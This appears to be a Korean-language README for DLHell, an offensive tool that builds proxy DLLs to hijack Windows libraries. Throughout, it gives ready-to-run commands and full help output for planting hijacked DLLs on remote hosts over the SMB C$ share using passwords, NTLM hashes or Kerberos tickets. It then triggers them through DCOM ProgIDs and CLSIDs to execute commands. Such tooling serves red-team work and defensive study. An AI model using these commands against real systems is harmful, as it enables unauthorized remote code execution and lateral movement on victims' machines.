
Local & remote Windows DLL Proxying
DLHell은 DCOM 로컬 및 원격 Windows DLL 프록시를 수행합니다.
다음 패키지가 필요합니다(배포판에 따라 다를 수 있으며, 다음 예시는 Debian 12 기준입니다):
sudo apt install -y g++-mingw-w64-x86-64-win32 binutils-mingw-w64-x86-64
pip 종속성을 설치합니다:
pip3 install -r requirements.txt
다음 명령은 calc.exe를 실행하는 template.tpe 템플릿 파일(C++ 소스 하이재킹 라이브러리)을 사용하여 호스트 10.137.0.48의 netutils.dll 라이브러리를 하이재킹합니다. 원본 DLL과 프록시 DLL은 모두 원격 대상의 C$ 공유에 있는 program files/windows nt/accessories/ 폴더에 배치됩니다.
-remote-target 옵션에는 Impacket 구문을 사용하세요.
DLHell.py -t template.tpe -c 'calc.exe' -remote-lib 'windows/system32/netutils.dll' -remote-target 'program files/windows nt/accessories/test.dll' -target 'domain/user:password@ip'
Kerberos 인증도 사용할 수 있습니다:
DLHell.py -t template.tpe -c 'calc.exe' -k -target wks-02.vault-tech.com -progid WordPad.Document.1
사용 가능한 CLSID 및 ProgID 목록:
DLHell.py -list
____ _ _ _ _ _
| _ \| | | | | | ___| | |
| | | | | | |_| |/ _ \ | |
| |_| | |___| _ | __/ | |
|____/|_____|_| |_|\___|_|_|
DLHell v1.0
usage: DLHell.py [-h] [-local-lib LOCAL_LIB] [-remote-lib REMOTE_LIB] [-local-target LOCAL_TARGET]
[-remote-target REMOTE_TARGET] [-target TARGET] [-clsid CLSID] [-progid PROGID] -t T -c C
[-u U] [-l] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address]
[-target-ip ip address] [-port [destination port]]
DLL Hell - DLL Proxifier/Hijacker
options:
-h, --help show this help message and exit
-local-lib LOCAL_LIB Path of the remote library on the local system, ex: version.dll
-remote-lib REMOTE_LIB
Path of the library on the remote system, ex: windows/system32/version.dll. WARNING:
Will connect using SMB on C$ share. Admin rights needed. Requires -target
-local-target LOCAL_TARGET
The new name of the local output proxyfied library
-remote-target REMOTE_TARGET
The new name of the remote proxyfied library. WARNING: Will connect using SMB on C$
share. Admin rights needed. Requires -target
-target TARGET [[domain/]username[:password]@]<targetName or address>
-clsid CLSID CLSID of DCOM class to activate
-progid PROGID ProgID of DCOM class to activate
-t T, -template T Template file to use for lib generation
-c C, -command C Command to execute using hijacked lib
-u U, -user U Name of the user to hijack (used to put DLLs in localappdata folder)
-l, -list Lists vulnerable CLSID & ProgID for DCOM Hijacking
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on
target parameters. If valid credentials cannot be found, it will use the ones
specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits)
connection:
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN)
specified in the target parameter
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as
target. This is useful when target is the NetBIOS name and you cannot resolve it
-port [destination port]
Destination port to connect to SMB Server
로컬 DLL 제작에는 -local-lib(프록시 DLL 이름) 및 -local-target(이름이 변경된 원본 DLL) 옵션을 사용하세요:
DLHell.py -t template.tpe -c 'calc.exe' -local-lib 'lib/netutils.dll' -local-target 'test.dll'
원격 DLL 하이재킹의 경우 -target, -remote-lib(원격 호스트의 원본 DLL 이름) 및 -local-target(이름이 변경된 원본 DLL) 옵션을 지정하세요:
DLHell.py -t template.tpe -c 'calc.exe' -target 'domain/user:password@ip' -remote-lib 'windows/system32/PROPSYS.dll' -remote-target 'windows/test.dll'
DCOM DLL 프록시는 -progid 및 -clsid 옵션을 사용하여 악용할 수 있습니다. 사용 가능한 CLSID 및 ProgID 목록은 다음 명령으로 확인할 수 있습니다:
DLHell.py -list
취약한 라이브러리의 경로를 정의하는 dcom.json 파일에 새로운 하이재킹을 추가할 수 있습니다:
그런 다음 ProgID 또는 CLSID만 있으면 다음 작업을 수행할 수 있습니다:
ProgID WordPad.Document.1 예시:
DLHell.py -t template.tpe -c 'calc.exe' -target 'domain/user:password@ip' -progid WordPad.Document.1
CLSID 73FDDC80-AEA9-101A-98A7-00AA00374959 예시:
DLHell.py -t template.tpe -c 'calc.exe' -target 'domain/user:password@ip' -clsid 73FDDC80-AEA9-101A-98A7-00AA00374959